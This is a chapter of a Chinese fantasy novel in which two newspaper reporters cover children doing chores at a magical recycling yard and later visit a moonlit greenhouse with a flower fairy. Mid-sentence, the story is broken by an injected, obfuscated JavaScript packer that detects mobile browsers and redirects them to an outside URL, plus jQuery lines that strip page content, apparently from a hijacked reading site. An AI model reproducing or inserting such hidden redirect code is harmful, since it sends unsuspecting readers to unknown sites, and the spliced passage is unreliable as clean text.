佩妮对古怪多小镇地下的道路跟她对小镇地表的道路一样熟悉，她驾轻就熟地找到了通往另一个窨井盖的铁爬梯。佩妮率先上去，然后从她的背心口袋里掏出一个打气筒模样的东西。
“液压井盖顶升器。”她简短地介绍，“你也可以备一个在身上，在古怪多当记者，总会有很多不得不走地道的情况。”
凯西呆滞地点点头。
佩妮熟练地用顶升器顶松井盖，然后把已经松动的井盖彻底推开。凯西跟着她爬了上去。
乍一回到明亮的天光下，眼睛都被刺得发疼。凯西抬手挡在眼睛上方适应了一会儿，发现自己正面对着古怪多的垃圾回收站。
尽管立着个垃圾回收站的牌子，这里看上去并没有潜意识里总会跟这种地方联系在一起的肮脏恶臭。凯西所闻到的是泥土本身的气息，掺杂着微酸的发酵味，以及某种发霉的味道，所汇聚起来的奇异的气味。算不上好闻，但并不让人反胃。
整个回收站最令人瞩目的是几个半人高的堆肥堆，被安放在一个专门推平的空地上。它们是深到近乎于黑色的棕色，释放着湿润的热气。那种微酸的发酵味就是从这里散发出来的。
堆肥堆的旁边是一个小菜地，里面种着一些方便照顾的南瓜、黄瓜，胡萝卜之类的蔬菜作物，长势都很好，因为过于狂野凌乱的生长方式散发出一股若有若无的魔性气息。
再旁边是紧挨在一起的一座小屋（看起来随时会长出脚来自己行走）和与之相连的一个小棚屋。小棚屋看起来像一个干净清洁、管理得当的二手小商铺，各种完整或不完整、但都十分闪亮的玻璃器皿，因为破损而失去使用价值、但却可以作为摆件的陶器，各种图案漂亮的包装纸和包装袋，都被整整齐齐地收集起来。
菜地和棚屋之间夹着一个装着水龙头的砖砌水池，旁边堆着许多有待清洗的瓶瓶罐罐。贝拉正带着莉娜和卡翠娜走到那里。
“喏，这里的瓶子，”她招呼着，“把它们的标签都撕下来，然后刷干净。”
她给莉娜和卡翠娜一人扔了一个刷子，卡翠娜的那个甚至特地挑了个比较小的，好让她的鸟爪能抓得住。
“刷完才能休息，别让我看到你们偷懒，否则……”她的右手飞快地上下翻动，做了个难以看清的收拾，一朵小小的乌云飘浮在了莉娜和卡翠娜的头顶。
贝拉继续说道：“……否则你们会体验到晴天霹雳是什么感觉。好了，开始刷吧。”
卡翠娜抬头看着那朵乌云：“……嘎？”
贝拉动了动手指，一股细小的电流劈了下来，击中她的头顶。
卡翠娜大叫起来，虽然实际上雷声大雨点小，连根羽毛都没见被烧焦，但这个榜样还是很明显地对莉娜产生了影响，她立刻拧开水池的水龙头，使劲刷起瓶子来。而卡翠娜恢复过来之后（尽管她故意表现得十分戏剧化，像是要被雷击而死了），也开始用爪子抓起那把小刷子开始干活。
贝拉满意地点点头：“很好，就是这样。好好干，你们两个都是。”
她转身朝停垃圾车的方向走去，显然今天的收垃圾工作还没有完成，她还要继续去镇上转圈。
留下两个孩子在那里哭天喊地地刷玻璃瓶，每当有谁稍微有所懈怠，那朵乌云就会降下字面意义上的倾盆大雨，冲得她们头都抬不起来。如果还不加快动作，雷电就会落在她们头上，虽然不会造成实际伤害，但看她们反应，应该还是会痛的。
凯西在这整个过程中拍了大量的照片，其中一张她格外满意：莉娜跟卡翠娜垂头丧气地站在水池旁，贝拉向她们示意开始干活，脸上的笑容完全可以放到童话书里作为恶毒女巫的插图。甚至不需要卡通化处理，她长得就已经够卡通的了。
她不太喜欢那些抓拍到孩子们被雷击时的反应的照片，尽管她知道那雷电并不真的有害。
佩妮凑过来看她拍的照片，她们的审美显然比较一致：“我喜欢这张，很有喜剧效果，而且……”
她停顿了一下，或者说，她没忍住笑了一下：“它的构图跟菲比警长童年时期的那张非常相似。真有意思，尤其想到她们是母女。”
“或许我们可以以《三十年一轮回，母女间的另类传承》为标题写一篇新闻稿。”凯西半开玩笑地说道。
佩妮十分认可地点头：“主编会喜欢这个标题的。”
凯西：“……”
凯西：“她会登吗？”
“当然，为什么不呢？”佩妮理所当然地说，“这很有意思，读者会喜欢的。我想主编会把它放头条，然后把菲比警长当年的照片跟这张并排放在一起，凸显它们的相似性。”
“呃，”凯西眨眨眼，“挺好的。我们要上去采访一下她们吗？”
“我觉得还是不要了，她们现在的状态可不适合被打扰。今天收集的材料也足够我们把稿子写出来了。”
“那我们现在回去？”
“回去。”
罗茜饶有兴致地听完两人的调查汇报：“我就知道这事跟那两个捣蛋鬼有关系，你们还拍了照片？给我看看。”
她一张一张翻过相机里的照片，最后停在得到凯西和佩妮一致认可的那张上：“这张不错，很有节目效果。”
“其实，主编，”佩妮举起手，小声说道，“我之前在报社的旧报纸里找到一则关于菲比警长的新闻，也是闯祸之后被派到斯卡普女士那里进行社区劳动的。那次新闻的配图，跟这张照片非常像。”
她把之前跟凯西一时兴起提出来的想法都讲给罗茜，后者显然对此非常感兴趣。
“很好的主意，不妨就这么干吧。佩妮，你对旧新闻的掌握程度真是大大超出我的意料，照片对比的点子也很有意思。凯西，第一天上班，你适应得比我想的要好，古怪多对外来者可是个不小的挑战。那个标题创意也不错。你们两个把稿子写出来，下班之前交给我。好了，你们可以走了。”
“主编对我们的点子很认可！”回工位的路上，佩妮高兴地说。
“我觉得这基本可以算你的点子，”凯西说，她真是这么觉得的，“我不过是随便想了个标题。菲比警长的旧新闻是你想起来的，新旧照片对比的想法也是你提出来的。”
佩妮说：“但是照片是你拍的，我不擅长拍照，而你拍得很好。”
“这我倒是没法否认。”凯西自己也很喜欢那张照片。
“所以这是我们两个一起的功劳，合作愉快，搭档！”
凯西不知道她们怎么就这么快成为搭档了，但佩妮看上去很开心的样子，她也觉得不应该扫兴。
她伸手跟佩妮碰了碰拳：“当然，合作愉快。”
那则新闻还真就以《三十年一轮回，母女间的另类传承》的标题在日报上发表了，配图菲比和卡翠娜一狼人一乌鸦如出一辙的垂头丧气模样放在一起妙趣横生。凯西本来还担心这种新闻是否会让临近月圆的菲比生气，但据传闻，她看到报纸之后的第一反应是仰天大笑。看来这位警长的心态比她想象的要开放得多，结合她当时对莉娜和卡翠娜说的“我说的是你们愚蠢”，她也显然有一定的幽默感。
除此之外，凯西抽空去了一趟佩妮提过的奇巧魔法道具店，那里还真就提供把口袋容量扩大到足以容纳一辆汽车的服务（难怪小镇上停车位那么少）。凯西把她常穿的一件外套送过去进行了改装，之后她的汽车就几乎再没离过身。
就这样一来二去地，月圆之夜终于要到了。
那天早上一起床，凯西就察觉出了不对劲。
明明她已经按时起床了，也没乱放东西，但活屋还是一副她犯了什么大错的样子，调水龙头水温时冷热变化异常突兀，恨不得让她用细准焦螺旋来调。毛巾一转身就不知道飞到哪里去了。出房门的时候还被绊了一跤。
“它怎么了？”下楼以后凯西问阿加莎。
阿加莎若无其事地说：“今晚就是月圆之夜了，活屋确实会比平时更活跃一些。明天就好了。”
“好吧。”凯西耸耸肩。
佩妮从地下室上来的时候额头上有个红印子，她说是起床的时候莫名其妙磕了一下。
“可能因为今天月圆吧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427678|184864||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”她揉着额头说。
走在小镇的街道上，一切都散发着诡异的气息。凯西无法具体地描述那种感觉，但空气似乎比平时紧绷，也比平时兴奋。玛吉卖的蜂蜜燕麦卷（它确实很好吃，凯西尝试过一次之后就开始跟佩妮一样天天吃了）味道跟平时相比有微妙的不同，很怪，不难吃，但很怪。
炙烤馅饼店的门被锁上了，挂着“今天休假的告示牌”。佩妮说波比的体制对空气中的魔法元素十分敏感，所以每逢月圆之夜，为了防止自己失控，她都会选择休假。
“说起来，”佩妮说，“菲比警长今天也会休假。毕竟她是狼人，没人能比她受月亮影响更大了。查莉警官会代替她的工作。”
“查莉警官？”凯西想起那个似乎总是一副懒散模样的水豚精，很难想象她会用什么办法维持小镇的秩序。
进入报社时，罗茜主编正站在咖啡机前。
“你们来了。”她的声音一如既往的中气十足，但不知道是否是心理原因，凯西总感觉她说话时跟平时不太一样。但这多半是错觉，毕竟罗茜跟她一样，都是人类……
咦？
凯西忽然意识到，其实她从来也没认真思考过罗茜属于什么物种。在古怪多，因为一个人看上去长得像个人类就理所应当地觉得她是个人类，这种想法是非常无端的。凯西在得知阿加莎身上有巫师血统，而佩妮其实是个地穴王国人之后得出了这一经验。
罗茜显然并没意识到凯西正对她的物种产生了怀疑，她正在例行公事地给两个下属派活：“今天月圆，鲁特的温室每到这个时候都会很活跃。你们过去跟她聊聊，拍几张照片，看看下一期园艺专栏要写什么内容。”
鲁特的温室像个小型的热带雨林，稠密的绿色，湿润的空气，尤其在今天这个特殊的日子，那种强烈的生命力几乎让植物拥有了一种妖异的魔性，盯着看久了甚至会觉得它们周围的空间在轻微地扭曲。
鲁特领着她们在各种被月亮所唤醒的植物间穿行，不时出声介绍。
当她们来到一株花朵形状宛如张开的大嘴，内里是一圈圈一层层尖利牙齿的植物前时，一个小巧的身影从花朵后面飞出来。
她绿色的柔发，薄如蝉翼的翅膀，花瓣般质感的衣服，和童话书插图里的小花仙形象完美吻合。她抬起头，称得上大胆地打量着两个外来者。
鲁特笑起来：“月圆之夜来了，连谭西都不像平时那么怕人了。”
“谭西？”凯西的耳朵捕捉到这个名字，“你就是谭西吗？莉娜告诉我，那天躲在向日葵后面给我指路的人是你，你记得这件事吗？”
谭西睁大眼睛，歪头思考了一会儿，点点头。她还伸出细小的食指朝地下一指，一株翠绿的植株从地面冒了出来——比那天的要健壮得多，看来月圆之夜也使她的力量变强了。
凯西立刻向她道谢：“谢谢你，谭西。如果不是你，我不知什么时候能找到报社，也未必能得到这份工作了。”
谭西脸上露出有点受宠若惊、又有点洋洋自得的笑，她摆摆手，像在说没什么，结果她飘飘摇摇地撞上身后的一朵花的茎部，大量花粉落在她身上。她打了个喷嚏（声音非常小的一个喷嚏），随后昏昏沉沉地飞了一会儿，落到鲁特的肩头，睡着了。
鲁特笑着放轻了声音：“那是甜梦草开的花，花粉可以用来安神，今天月圆，效果变得更好了。”
凯西点点头，忍不住给睡在树精肩头的小花仙拍了一张照片。
之后的采访十分顺利，鲁特详细讲解了几种受月光影响大的植物在月圆之夜都会有什么变化，这些植物的种植和采摘方法。她还采摘了一些送给凯西和佩妮，“可以用来泡茶喝”。凯西拍了不少好照片，十分愉快地结束了整个采访。亏她还一直提防着那朵长了嘴巴和牙齿的花会不会在月光的作用下忽然发狂，咬下她的脑袋。
鲁特送她们直到温室门口，之后说要送谭西回去睡觉，就不送得更远了。而凯西和佩妮出门后没走几步路，就双双停了下来。
“哇哦，”凯西忍不住说道，“漂亮。”